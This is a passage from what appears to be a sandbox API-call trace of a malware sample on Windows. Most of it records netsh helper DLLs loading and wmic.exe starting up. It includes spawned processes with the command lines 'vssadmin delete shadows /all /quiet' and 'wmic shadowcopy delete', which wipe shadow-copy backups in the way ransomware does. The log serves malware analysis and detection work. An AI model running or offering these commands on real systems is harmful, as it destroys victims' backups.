0x1fe2347b4c0 [0168.671] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0168.672] GetProcessHeap () returned 0x1fe23430000 [0168.672] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23461680) returned 1 [0168.672] LoadLibraryExW (lpLibFileName="P2PNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe73f60000 [0172.389] GetProcAddress (hModule=0x7ffe73f60000, lpProcName="InitHelperDll") returned 0x7ffe73f611e0 [0172.389] InitHelperDll () returned 0x0 [0172.389] RegisterHelper () returned 0x0 [0172.389] GetProcessHeap () returned 0x1fe23430000 [0172.389] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xb58) returned 0x1fe2347f0f0 [0172.389] GetProcessHeap () returned 0x1fe23430000 [0172.389] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347b5c0) returned 1 [0172.389] RegisterHelper () returned 0x0 [0172.389] GetProcessHeap () returned 0x1fe23430000 [0172.389] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xbb0) returned 0x1fe2347fc50 [0172.390] GetProcessHeap () returned 0x1fe23430000 [0172.390] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347f0f0) returned 1 [0172.390] RegisterHelper () returned 0x0 [0172.390] GetProcessHeap () returned 0x1fe23430000 [0172.390] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xc08) returned 0x1fe23480810 [0172.390] GetProcessHeap () returned 0x1fe23430000 [0172.390] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347fc50) returned 1 [0172.390] RegisterHelper () returned 0x0 [0172.390] GetProcessHeap () returned 0x1fe23430000 [0172.390] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xc60) returned 0x1fe2347f0f0 [0172.390] GetProcessHeap () returned 0x1fe23430000 [0172.390] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23480810) returned 1 [0172.444] RegisterHelper () returned 0x0 [0172.444] GetProcessHeap () returned 0x1fe23430000 [0172.444] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xcb8) returned 0x1fe2347fd60 [0172.444] GetProcessHeap () returned 0x1fe23430000 [0172.444] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347f0f0) returned 1 [0172.444] RegisterHelper () returned 0x0 [0172.444] GetProcessHeap () returned 0x1fe23430000 [0172.444] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xd10) returned 0x1fe23480a20 [0172.444] GetProcessHeap () returned 0x1fe23430000 [0172.444] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347fd60) returned 1 [0172.444] RegisterHelper () returned 0x0 [0172.444] GetProcessHeap () returned 0x1fe23430000 [0172.445] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xd68) returned 0x1fe2347f0f0 [0172.445] GetProcessHeap () returned 0x1fe23430000 [0172.445] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23480a20) returned 1 [0172.447] RegisterHelper () returned 0x0 [0172.447] GetProcessHeap () returned 0x1fe23430000 [0172.447] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xdc0) returned 0x1fe2347fe60 [0172.447] GetProcessHeap () returned 0x1fe23430000 [0172.447] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347f0f0) returned 1 [0172.447] RegEnumValueW (in: hKey=0xb4, dwIndex=0xd, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="rpc", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0172.447] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0172.447] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 [0172.447] GetProcessHeap () returned 0x1fe23430000 [0172.447] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x258) returned 0x1fe234618a0 [0172.447] GetProcessHeap () returned 0x1fe23430000 [0172.447] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x8) returned 0x1fe2343dfb0 [0172.447] GetProcessHeap () returned 0x1fe23430000 [0172.447] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x16) returned 0x1fe234635a0 [0172.447] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0172.448] GetProcessHeap () returned 0x1fe23430000 [0172.448] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23455320) returned 1 [0172.448] LoadLibraryExW (lpLibFileName="RPCNSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7d2f0000 [0176.461] GetProcAddress (hModule=0x7ffe7d2f0000, lpProcName="InitHelperDll") returned 0x7ffe7d2f1010 [0176.461] InitHelperDll () returned 0x0 [0176.461] RegisterHelper () returned 0x0 [0176.461] GetProcessHeap () returned 0x1fe23430000 [0176.461] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xe18) returned 0x1fe23480c30 [0176.461] GetProcessHeap () returned 0x1fe23430000 [0176.461] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347fe60) returned 1 [0176.461] RegisterHelper () returned 0x0 [0176.461] GetProcessHeap () returned 0x1fe23430000 [0176.461] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xe70) returned 0x1fe2347f0f0 [0176.461] GetProcessHeap () returned 0x1fe23430000 [0176.461] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23480c30) returned 1 [0176.461] RegEnumValueW (in: hKey=0xb4, dwIndex=0xe, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="WcnNetsh", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0176.462] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0176.462] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0176.462] GetProcessHeap () returned 0x1fe23430000 [0176.462] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x280) returned 0x1fe2347a300 [0176.462] GetProcessHeap () returned 0x1fe23430000 [0176.462] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe23463600 [0176.462] GetProcessHeap () returned 0x1fe23430000 [0176.462] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe2347b2e0 [0176.462] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0176.462] GetProcessHeap () returned 0x1fe23430000 [0176.462] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234618a0) returned 1 [0176.462] LoadLibraryExW (lpLibFileName="WCNNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7cd00000 [0176.945] GetProcAddress (hModule=0x7ffe7cd00000, lpProcName="InitHelperDll") returned 0x7ffe7cd01680 [0176.945] InitHelperDll () returned 0x0 [0176.945] RegisterHelper () returned 0x0 [0176.945] GetProcessHeap () returned 0x1fe23430000 [0176.945] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xec8) returned 0x1fe2347ff70 [0176.945] GetProcessHeap () returned 0x1fe23430000 [0176.945] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347f0f0) returned 1 [0176.945] RegEnumValueW (in: hKey=0xb4, dwIndex=0xf, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="whhelper", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0176.945] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0176.945] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0176.945] GetProcessHeap () returned 0x1fe23430000 [0176.945] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x2a8) returned 0x1fe2347a590 [0176.945] GetProcessHeap () returned 0x1fe23430000 [0176.945] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe23463100 [0176.945] GetProcessHeap () returned 0x1fe23430000 [0176.945] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe2347b4f0 [0176.945] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0176.945] GetProcessHeap () returned 0x1fe23430000 [0176.945] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347a300) returned 1 [0176.945] LoadLibraryExW (lpLibFileName="WHHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7d2e0000 [0178.581] GetProcAddress (hModule=0x7ffe7d2e0000, lpProcName="InitHelperDll") returned 0x7ffe7d2e14d0 [0178.582] InitHelperDll () returned 0x0 [0178.582] RegisterHelper () returned 0x0 [0178.582] GetProcessHeap () returned 0x1fe23430000 [0178.582] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xf20) returned 0x1fe23480e40 [0178.582] GetProcessHeap () returned 0x1fe23430000 [0178.582] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347ff70) returned 1 [0178.582] RegEnumValueW (in: hKey=0xb4, dwIndex=0x10, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="wlancfg", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0178.582] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0178.582] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0178.582] GetProcessHeap () returned 0x1fe23430000 [0178.582] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x2d0) returned 0x1fe2347a840 [0178.582] GetProcessHeap () returned 0x1fe23430000 [0178.582] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23463120 [0178.582] GetProcessHeap () returned 0x1fe23430000 [0178.582] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x18) returned 0x1fe23463140 [0178.582] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0178.582] GetProcessHeap () returned 0x1fe23430000 [0178.582] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347a590) returned 1 [0178.582] LoadLibraryExW (lpLibFileName="WLANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe6c4a0000 [0182.578] GetProcAddress (hModule=0x7ffe6c4a0000, lpProcName="InitHelperDll") returned 0x7ffe6c4a1320 [0182.578] InitHelperDll () returned 0x0 [0182.579] RegisterHelper () returned 0x0 [0182.579] GetProcessHeap () returned 0x1fe23430000 [0182.579] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xf78) returned 0x1fe23483f60 [0182.579] GetProcessHeap () returned 0x1fe23430000 [0182.579] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23480e40) returned 1 [0182.579] RegEnumValueW (in: hKey=0xb4, dwIndex=0x11, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="wshelper", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0182.579] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0182.579] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0182.579] GetProcessHeap () returned 0x1fe23430000 [0182.579] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x2f8) returned 0x1fe2347bdd0 [0182.579] GetProcessHeap () returned 0x1fe23430000 [0182.579] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x12) returned 0x1fe234631e0 [0182.579] GetProcessHeap () returned 0x1fe23430000 [0182.579] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe2347b8b0 [0182.579] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0182.579] GetProcessHeap () returned 0x1fe23430000 [0182.579] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347a840) returned 1 [0182.579] LoadLibraryExW (lpLibFileName="WSHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7a1d0000 [0182.830] GetProcAddress (hModule=0x7ffe7a1d0000, lpProcName="InitHelperDll") returned 0x7ffe7a1d1030 [0182.831] InitHelperDll () returned 0x0 [0182.831] RegisterHelper () returned 0x0 [0182.831] GetProcessHeap () returned 0x1fe23430000 [0182.831] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xfd0) returned 0x1fe2347f0f0 [0182.831] GetProcessHeap () returned 0x1fe23430000 [0182.831] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23483f60) returned 1 [0182.831] RegEnumValueW (in: hKey=0xb4, dwIndex=0x12, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="wwancfg", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0182.831] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14 [0182.831] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14 [0182.831] GetProcessHeap () returned 0x1fe23430000 [0182.831] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x320) returned 0x1fe2347a300 [0182.831] GetProcessHeap () returned 0x1fe23430000 [0182.831] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23463220 [0182.831] GetProcessHeap () returned 0x1fe23430000 [0182.831] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x18) returned 0x1fe234844d0 [0182.831] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL" [0182.831] GetProcessHeap () returned 0x1fe23430000 [0182.831] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2347bdd0) returned 1 [0182.831] LoadLibraryExW (lpLibFileName="WWANCFG.DLL", hFile=0x0, dwFlags=0x0) Thread: id = 102 os_tid = 0xc0c Thread: id = 119 os_tid = 0x450 Process: id = "19" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x59770000" os_pid = "0xc10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xfb4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 103 os_tid = 0x37c Thread: id = 104 os_tid = 0xc40 Thread: id = 105 os_tid = 0xb78 Thread: id = 106 os_tid = 0x590 Thread: id = 107 os_tid = 0xd44 Process: id = "20" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x59a27000" os_pid = "0x388" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xfb4" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 108 os_tid = 0xd4c [0163.462] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6687f0000 [0163.462] __set_app_type (_Type=0x1) [0163.462] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff66882ec40) returned 0x0 [0163.463] __wgetmainargs (in: _Argc=0x7ff668857258, _Argv=0x7ff668857260, _Env=0x7ff668857268, _DoWildCard=0, _StartInfo=0x7ff668857274 | out: _Argc=0x7ff668857258, _Argv=0x7ff668857260, _Env=0x7ff668857268) returned 0 [0163.672] ??0CHString@@QEAA@XZ () returned 0x7ff6688579b0 [0163.935] malloc (_Size=0x30) returned 0x2119b6915a0 [0163.936] malloc (_Size=0x70) returned 0x2119b6915e0 [0163.936] malloc (_Size=0x50) returned 0x2119b691660 [0163.936] malloc (_Size=0x30) returned 0x2119b6916c0 [0163.936] malloc (_Size=0x48) returned 0x2119b691700 [0163.936] malloc (_Size=0x30) returned 0x2119b691750 [0163.936] malloc (_Size=0x30) returned 0x2119b696c00 [0163.936] ??0CHString@@QEAA@XZ () returned 0x7ff668857e60 [0163.936] malloc (_Size=0x30) returned 0x2119b696c40 [0164.247] ?Empty@CHString@@QEAAXXZ () returned 0x7ffe7f77674c [0164.247] SetConsoleCtrlHandler (HandlerRoutine=0x7ff668827ca0, Add=1) returned 1 [0164.247] _onexit (_Func=0x7ff6688391c0) returned 0x7ff6688391c0 [0164.247] _onexit (_Func=0x7ff6688392a0) returned 0x7ff6688392a0 [0164.247] _onexit (_Func=0x7ff6688392e0) returned 0x7ff6688392e0 [0164.248] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0164.248] ResolveDelayLoadedAPI () returned 0x7ffe8a24efc0 [0164.248] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0165.286] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0165.427] CoCreateInstance (in: rclsid=0x7ff668840608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff668840618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff668857840 | out: ppv=0x7ff668857840*=0x2119b44c1d0) returned 0x0 [0166.460] GetCurrentProcess () returned 0xffffffffffffffff [0166.460] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x6dd898fc70 | out: TokenHandle=0x6dd898fc70*=0x154) returned 1 [0166.460] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x6dd898fc68 | out: TokenInformation=0x0, ReturnLength=0x6dd898fc68) returned 0 [0166.460] malloc (_Size=0x118) returned 0x2119b695a80 [0166.460] GetTokenInformation (in: TokenHandle=0x154, TokenInformationClass=0x3, TokenInformation=0x2119b695a80, TokenInformationLength=0x118, ReturnLength=0x6dd898fc68 | out: TokenInformation=0x2119b695a80, ReturnLength=0x6dd898fc68) returned 1 [0166.460] AdjustTokenPrivileges (in: TokenHandle=0x154, DisableAllPrivileges=0, NewState=0x2119b695a80*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-466304936, Attributes=0x8d9c), (Luid.LowPart=0x211, Luid.HighPart=-1687611504, Attributes=0x211), (Luid.LowPart=0x690070, Luid.HighPart=6750318, Attributes=0x330020), (Luid.LowPart=0x650047, Luid.HighPart=7667822, Attributes=0x6e0069), (Luid.LowPart=0x74006e, Luid.HighPart=7077989, Attributes=0x500000), (Luid.LowPart=0x450043, Luid.HighPart=5439571, Attributes=0x52004f))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0166.460] free (_Block=0x2119b695a80) [0166.460] CloseHandle (hObject=0x154) returned 1 [0166.480] malloc (_Size=0x40) returned 0x2119b695a80 [0166.537] malloc (_Size=0x40) returned 0x2119b695ad0 [0166.537] malloc (_Size=0x40) returned 0x2119b695b20 [0166.537] SetThreadUILanguage (LangId=0x0) returned 0x409 [0166.573] _vsnwprintf (in: _Buffer=0x2119b695b20, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x6dd898f978 | out: _Buffer="ms_409") returned 6 [0166.573] malloc (_Size=0x20) returned 0x2119b695b70 [0166.573] GetComputerNameW (in: lpBuffer=0x2119b695b70, nSize=0x6dd898fc78 | out: lpBuffer="NQDPDE", nSize=0x6dd898fc78) returned 1 [0166.573] lstrlenW (lpString="NQDPDE") returned 6 [0166.573] malloc (_Size=0xe) returned 0x2119b691790 [0166.573] lstrlenW (lpString="NQDPDE") returned 6 [0166.573] ResolveDelayLoadedAPI () returned 0x7ffe86a76960 [0166.574] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x6dd898fc70 | out: lpNameBuffer=0x0, nSize=0x6dd898fc70) returned 0x0 [0166.575] GetLastError () returned 0xea [0166.575] malloc (_Size=0x1e) returned 0x2119b695ba0 [0166.575] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2119b695ba0, nSize=0x6dd898fc70 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x6dd898fc70) returned 0x1 [0166.700] lstrlenW (lpString="") returned 0 [0166.700] lstrlenW (lpString="NQDPDE") returned 6 [0166.700] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0166.704] lstrlenW (lpString=".") returned 1 [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.704] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0166.704] lstrlenW (lpString="LOCALHOST") returned 9 [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.704] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.704] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0166.704] free (_Block=0x2119b691790) [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.704] malloc (_Size=0xe) returned 0x2119b691790 [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.704] lstrlenW (lpString="NQDPDE") returned 6 [0166.705] malloc (_Size=0xe) returned 0x2119b695bd0 [0166.705] lstrlenW (lpString="NQDPDE") returned 6 [0166.705] malloc (_Size=0x8) returned 0x2119b695bf0 [0166.705] malloc (_Size=0x18) returned 0x2119b695c10 [0166.705] ResolveDelayLoadedAPI () returned 0x7ffe88bbcdb0 [0166.715] malloc (_Size=0x30) returned 0x2119b695c30 [0166.715] malloc (_Size=0x18) returned 0x2119b695c70 [0166.715] SysStringLen (param_1="IDENTIFY") returned 0x8 [0166.715] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0166.715] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0166.715] SysStringLen (param_1="IDENTIFY") returned 0x8 [0166.715] malloc (_Size=0x30) returned 0x2119b695c90 [0166.715] malloc (_Size=0x18) returned 0x2119b695cd0 [0166.715] SysStringLen (param_1="IMPERSONATE") returned 0xb [0166.715] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0166.715] SysStringLen (param_1="IMPERSONATE") returned 0xb [0166.715] SysStringLen (param_1="IDENTIFY") returned 0x8 [0166.715] SysStringLen (param_1="IDENTIFY") returned 0x8 [0166.716] SysStringLen (param_1="IMPERSONATE") returned 0xb [0166.716] malloc (_Size=0x30) returned 0x2119b695cf0 [0166.716] malloc (_Size=0x18) returned 0x2119b695d30 [0166.716] SysStringLen (param_1="DELEGATE") returned 0x8 [0166.716] SysStringLen (param_1="IDENTIFY") returned 0x8 [0166.716] SysStringLen (param_1="DELEGATE") returned 0x8 [0166.716] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0166.716] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0166.716] SysStringLen (param_1="DELEGATE") returned 0x8 [0166.716] malloc (_Size=0x30) returned 0x2119b695d50 [0166.716] malloc (_Size=0x18) returned 0x2119b695d90 [0166.716] malloc (_Size=0x30) returned 0x2119b695db0 [0166.716] malloc (_Size=0x18) returned 0x2119b695df0 [0166.716] SysStringLen (param_1="NONE") returned 0x4 [0166.716] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.716] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.716] SysStringLen (param_1="NONE") returned 0x4 [0166.716] malloc (_Size=0x30) returned 0x2119b695e10 [0166.716] malloc (_Size=0x18) returned 0x2119b695e50 [0166.716] SysStringLen (param_1="CONNECT") returned 0x7 [0166.716] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.716] malloc (_Size=0x30) returned 0x2119b695e70 [0166.716] malloc (_Size=0x18) returned 0x2119b695eb0 [0166.716] SysStringLen (param_1="CALL") returned 0x4 [0166.716] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.716] SysStringLen (param_1="CALL") returned 0x4 [0166.716] SysStringLen (param_1="CONNECT") returned 0x7 [0166.716] malloc (_Size=0x30) returned 0x2119b695ed0 [0166.716] malloc (_Size=0x18) returned 0x2119b695f10 [0166.716] SysStringLen (param_1="PKT") returned 0x3 [0166.717] SysStringLen (param_1="DEFAULT") returned 0x7 [0166.717] SysStringLen (param_1="PKT") returned 0x3 [0166.717] SysStringLen (param_1="NONE") returned 0x4 [0166.717] SysStringLen (param_1="NONE") returned 